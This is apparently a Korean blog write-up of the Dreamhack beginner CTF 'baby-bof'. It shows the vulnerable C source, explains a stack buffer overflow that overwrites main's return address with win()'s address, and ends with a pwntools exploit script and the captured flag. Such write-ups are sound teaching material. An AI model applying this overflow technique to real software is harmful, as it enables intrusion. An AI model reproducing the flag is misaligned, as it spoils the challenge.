[PWN] dreamhack - baby-bof

2024. 9. 5. 15:39정보보안/pwn

반응형

dreamhack begginer baby-bof 챌린지 writeup

// gcc -o baby-bof baby-bof.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>
#include <time.h>

void proc_init ()
{
  setvbuf (stdin, 0, 2, 0); setvbuf (stdout, 0, 2, 0);
  setvbuf (stderr, 0, 2, 0);
}

void win () 
{
  char flag[100] = {0,};
  int fd;
  puts ("You mustn't be here! It's a vulnerability!");

  fd = open ("./flag", O_RDONLY);
  read(fd, flag, 0x60);
  puts(flag);
  exit(0);
}

long count;
long value;
long idx = 0;
int main ()
{
  char name[16];

  // don't care this init function
  proc_init (); 

  printf ("the main function doesn't call win function (0x%lx)!\n", win);

  printf ("name: ");
  scanf ("%15s", name);

  printf ("GM GA GE GV %s!!\n: ", name);

  printf ("|  addr\t\t|  value\t\t|\n");
  for (idx = 0; idx < 0x10; idx++) {
    printf ("|  %lx\t|  %16lx\t|\n", name + idx *8, *(long*)(name + idx*8));
  }

  printf ("hex value: ");
  scanf ("%lx%c", &value);

  printf ("integer count: ");
  scanf ("%d%c", &count);


  for (idx = 0; idx < count; idx++) {
    *(long*)(name+idx*8) = value;
  }

  
  printf ("|  addr\t\t|  value\t\t|\n");
  for (idx = 0; idx < 0x10; idx++) {
    printf ("|  %lx\t|  %16lx\t|\n", name + idx *8, *(long*)(name + idx*8));
  }

  return 0;
}

baby-bof.c로 다음과 같은 소스코드가 주어진다. 

 

flag가 반환되는 win함수가 제공되어서 해당 함수로 flag를 출력시키면 풀리는 간단한 bof 문제다. win함수의 주소는 문제를 실행시키면 출력되어있다. 따라서 실행 시 얻은 win 함수의 주소를 ret할 주소로 지정해주면 된다.

 

실행시 name 배열에 aaaaaaabbbb를 넣어주면 이렇게 a, b의 hex 값인 0x61과 0x62가 0x7ffe9985a420, 0x7ffe9985a428에 각각 들어가 있는 것을 볼 수 있다.

 

그 다음, hex value에는 addr에 저장될 value (hex)를 넣어줄수 있고, integer count에는 스택 주소에 얼마나 채워줄것인지

지정한다. 

gdb로 run 한 다음 stack을 보면 0x7fffffffdd78에 main함수의 주소가 담겨있다. 따라서 해당 부분을 위에서 제공된 win 함수의 주소로 바꿔주면 해결할 수 있다.

from pwn import *

#p = process('./baby-bof')
p = remote('host3.dreamhack.games', 16954)
p.sendlineafter(b"name: ", b'a')
p.sendlineafter(b"hex value: ", b"0x40125b")
p.sendlineafter(b"integer count: ", b'6')
print(p.recvall())

DH{62228e6f20a8b71372f0eceb51537c7f94b8191651ea0636ed4e48857c5b340c}

반응형